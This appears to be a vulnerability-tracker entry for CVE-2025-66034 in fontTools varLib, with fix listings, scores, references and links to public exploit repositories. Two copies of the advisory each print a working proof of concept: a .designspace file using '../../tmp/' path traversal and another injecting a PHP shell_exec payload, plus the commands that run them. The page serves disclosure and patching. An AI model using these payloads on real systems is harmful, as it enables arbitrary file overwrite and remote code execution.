CVE-2025-66034
criticalpriority · attend · 49EPSS 0.005 · 46 %ileexploit · PoCDEEUUSEPSS · scored 2026-10-27
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
remediations
Vendor fix, mitigation, or workaround guidance, as published by each source.
A vendor fix is available.
- Fixedpython311-FontTools-0:4.47.2-150600.3.3.1.noarch as component of SUSE Linux Enterprise Module for Package Hub 15 SP7suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-FontTools-0:4.47.2-150600.3.3.1.noarch as component of openSUSE Leap 15.6suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.53.1-160000.3.1.noarch as component of SUSE Linux Enterprise Server 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.53.1-160000.3.1.noarch as component of SUSE Linux Enterprise Server for SAP applications 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-FontTools-0:4.61.1-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-FontTools-0:4.61.1-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-FontTools-0:4.61.1-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-FontTools-0:4.61.1-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython312-FontTools-0:4.61.1-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython312-FontTools-0:4.61.1-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython312-FontTools-0:4.61.1-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython312-FontTools-0:4.61.1-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.61.1-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.61.1-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.61.1-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.61.1-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-FontTools-0:4.53.1-160000.3.1.noarch as component of openSUSE Leap 16.0suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 6.3–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (6)
Public proof-of-concept and weaponised exploit code.
- jwsly12/CVE-2025-66034-htb-ctfjwsly12/CVE-2025-66034-htb-ctfPoC · poc_in_github
- tristanqtn/CVE-2025-66034CVE-2025-66034 exploit and documentationPoC · poc_in_github
- v3cn4x00/POC-CVE-2025-66034v3cn4x00/POC-CVE-2025-66034PoC · poc_in_github
affected products (4)
Products and version ranges known to be affected.
advisories (7)
Vendor and ecosystem advisories describing this.
- SUSE-SU-2026:0199-1Security update for python-FontTools2026-01-21csaf · suse_csafDE
Security update for python-FontTools
- SUSE-SU-2026:20184-1Security update for python-FontTools2026-01-28csaf · suse_csafDE
Security update for python-FontTools
- WID-SEC-W-2026-2189Dell PowerProtect Data Domain: Mehrere SchwachstellenDeutsch2026-07-02csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Dell PowerProtect Data Domain ausnutzen, um seine Privilegien zu erhöhen um beliebigen Programmcode auszuführen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, um Informationen offenzulegen, und um Dateien zu manipulieren.
- openSUSE-SU-2026:10076-1python311-FontTools-4.61.1-1.1 on GA media2026-01-21csaf · suse_csafDE
python311-FontTools-4.61.1-1.1 on GA media
- openSUSE-SU-2026:20119-1Security update for python-FontTools2026-01-28csaf · suse_csafDE
Security update for python-FontTools
- GHSA-768j-98cg-p3fvfontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib2025-12-01ghsa · osvUS
## Summary The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`. The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines `fontTools/varLib/__init__.py` ```python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ``` ## PoC 1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace) `setup.py` ```python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) ``` `malicious.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> ``` Optional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file. ```bash python3 setup.py ``` 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename ```bash fonttools varLib malicious.designspace ``` 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace ```bash cat {{filename_location}} ``` 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. `malicious2.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> ``` 6. When the program is run, we can show we control the contents in the new file ```bash fonttools varLib malicious2.designspace -o file123 ``` Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection ```bash cat file123 ``` to show `<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>` 8. Executing the file and reading looking at the newly generated file ```bash php file123 ls -la /tmp/MEOW123 ``` we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
- PYSEC-2026-1389fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib2026-07-07vendor · osvUS
## Summary The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`. The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines `fontTools/varLib/__init__.py` ```python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ``` ## PoC 1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace) `setup.py` ```python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) ``` `malicious.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> ``` Optional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file. ```bash python3 setup.py ``` 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename ```bash fonttools varLib malicious.designspace ``` 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace ```bash cat {{filename_location}} ``` 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. `malicious2.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> ``` 6. When the program is run, we can show we control the contents in the new file ```bash fonttools varLib malicious2.designspace -o file123 ``` Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection ```bash cat file123 ``` to show `<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>` 8. Executing the file and reading looking at the newly generated file ```bash php file123 ls -la /tmp/MEOW123 ``` we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (8)
External citations — patches, advisories, analysis.
- https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32cnnvd
- https://github.com/fonttools/fonttools/releasesPatchcnnvd
- https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fvcnnvd
- https://vigilance.fr/vulnerability/fontTools-directory-traversal-via-Designspace-File-49043cnnvd
- https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32enisa_euvd
- https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fvenisa_euvd
- https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32Patchnvd
- https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fvExploitVendor Advisorynvd
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